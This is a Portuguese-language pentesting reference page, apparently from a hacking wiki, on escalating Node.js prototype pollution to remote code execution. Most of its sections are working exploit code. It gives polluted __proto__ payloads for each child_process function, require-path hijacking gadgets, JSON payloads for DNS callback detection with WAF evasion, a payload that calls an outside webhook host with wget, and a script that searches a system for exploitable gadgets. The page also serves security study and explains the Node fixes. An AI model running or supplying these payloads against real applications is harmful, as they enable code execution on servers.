Prototype Pollution to RCE

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Código Vulnerável

Imagine um código JS real usando algo como o seguinte:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE via variáveis de ambiente

PP2RCE significa Prototype Pollution to RCE (Execução de Código Remoto).

De acordo com este artigo, quando um processo é iniciado com algum método de child_process (como fork ou spawn ou outros), ele chama o método normalizeSpawnArguments que é um gadget de poluição de protótipo para criar novas variáveis de ambiente:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Verifique esse código, você pode ver que é possível envenenar envPairs apenas poluindo o atributo .env.

Envenenamento de `proto`

Note que devido a como a função normalizeSpawnArguments da biblioteca child_process do node funciona, quando algo é chamado para definir uma nova variável de ambiente para o processo, você só precisa poluir qualquer coisa. Por exemplo, se você fizer __proto__.avar="valuevar", o processo será iniciado com uma variável chamada avar com o valor valuevar.

No entanto, para que a variável de ambiente seja a primeira, você precisa poluir o atributo .env e (apenas em alguns métodos) essa variável será a primeira (permitindo o ataque).

É por isso que NODE_OPTIONS não está dentro de .env no ataque a seguir.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Interação com DNS

Usando os payloads a seguir, é possível abusar da variável de ambiente NODE_OPTIONS que discutimos anteriormente e detectar se funcionou com uma interação com DNS:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

Ou, para evitar que os WAFs solicitem o domínio:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

Vulnerabilidade PP2RCE funções child_process

Nesta seção vamos analisar cada função de child_process para executar código e ver se podemos usar alguma técnica para forçar essa função a executar código:

exec exploração

```javascript // environ trick - not working // It's not possible to pollute the .env attr to create a first env var // because options.env is null (not undefined)

// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = exec('something');

// stdin trick - not working // Not using stdin

// Windows // Working after kEmptyObject (fix) const { exec } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = exec('something');

</details>

<details>

<summary><strong><code>execFile</code> exploração</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile('/usr/bin/node');

// stdin trick - not working
// Not using stdin

// Windows - not working

Para que o execFile funcione, ele DEVE executar o node para que as NODE_OPTIONS funcionem. Se não estiver executando o node, você precisa descobrir como alterar a execução do que está sendo executado com variáveis de ambiente e defini-las.

As outras técnicas funcionam sem esse requisito porque é possível modificar o que é executado via poluição de protótipos. (Neste caso, mesmo que você possa poluir .shell, você não poluirá o que está sendo executado).

// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');

spawn exploração

```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working // Not using stdin

// Windows // NOT working after require(fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"C:\"}); //To work after kEmptyObject (fix)

</details>

<details>

<summary><strong><code>execFileSync</code> exploração</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');

execSync exploração

```javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = execSync('something');

// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execSync('something');

// stdin trick - working // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.argv0 = "/usr/bin/vim" p.proto.shell = "/usr/bin/vim" p.proto.input = ':!{touch /tmp/execSync-stdin}\n' var proc = execSync('something');

// Windows // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = execSync('something');

</details>

<details>

<summary><strong><code>spawnSync</code> exploração</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Forçando Spawn

Nos exemplos anteriores, você viu como acionar o gadget uma funcionalidade que chama spawn precisa estar presente (todos os métodos de child_process usados para executar algo o chamam). No exemplo anterior, isso fazia parte do código, mas e se o código não estiver chamando isso.

Controlando um caminho de arquivo require

Neste outro artigo, o usuário pode controlar o caminho do arquivo onde um require será executado. Nesse cenário, o atacante só precisa encontrar um arquivo .js dentro do sistema que irá executar um método spawn quando importado. Alguns exemplos de arquivos comuns que chamam uma função spawn ao serem importados são:

/caminho/para/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Encontre mais arquivos abaixo

O seguinte script simples irá procurar por chamadas de child_process sem nenhum preenchimento (para evitar mostrar chamadas dentro de funções):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.

Arquivos interessantes encontrados pelo script anterior

node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

Definindo o caminho do arquivo requerido via poluição de protótipo

A técnica anterior requer que o usuário controle o caminho do arquivo que será requerido. Mas isso nem sempre é verdade.

No entanto, se o código for executar um require após a poluição de protótipo, mesmo que você não controle o caminho que será requerido, você pode forçar um diferente abusando da poluição de protótipo. Portanto, mesmo que a linha de código seja require("./a_file.js") ou require("bytes"), ele requererá o pacote que você poluiu.

Portanto, se um require for executado após a sua poluição de protótipo e não houver uma função de execução de spawn, este é o ataque:

Encontre um arquivo .js dentro do sistema que, quando requerido, irá executar algo usando child_process
Se você puder fazer upload de arquivos para a plataforma que está atacando, você pode fazer upload de um arquivo assim
Polua os caminhos para forçar o require do arquivo .js que irá executar algo com child_process
Polua o environ/cmdline para executar código arbitrário quando uma função de execução de child_process é chamada (veja as técnicas iniciais)

Require absoluto

Se o require realizado for absoluto (require("bytes")) e o pacote não contiver main no arquivo package.json, você pode poluir o atributo main e fazer o require executar um arquivo diferente.

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");

Requerimento relativo - 1

Se um caminho relativo for carregado em vez de um caminho absoluto, você pode fazer o node carregar um caminho diferente:

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');

Requerimento relativo - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');

Requerimento relativo - 3

Semelhante ao anterior, este foi encontrado neste artigo.

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

Dispositivos VM

No artigo https://arxiv.org/pdf/2207.11171.pdf também é indicado que o controle do contextExtensions de alguns métodos da biblioteca vm poderia ser usado como um dispositivo. No entanto, assim como os métodos anteriores de child_process, isso foi corrigido nas versões mais recentes.

Correções e Proteções Inesperadas

Por favor, note que a poluição de protótipos funciona se o atributo de um objeto que está sendo acessado for indefinido. Se no código esse atributo for definido com um valor, você não poderá sobrescrevê-lo.

Em junho de 2022, a partir deste commit, a variável options em vez de {} é um kEmptyObject. Isso impede a poluição de protótipos de afetar os atributos de options para obter RCE. Pelo menos a partir da v18.4.0, essa proteção foi implementada, e portanto os exploits spawn e spawnSync que afetam os métodos não funcionam mais (se nenhum options for usado!).

Neste commit, a poluição de protótipos de contextExtensions da biblioteca vm também foi em parte corrigida definindo as opções como kEmptyObject em vez de {}.

Outros Dispositivos

Referências

PreviousExpress Prototype Pollution Gadgets NextJava JSF ViewState (.faces) Deserialization

Last updated 21 days ago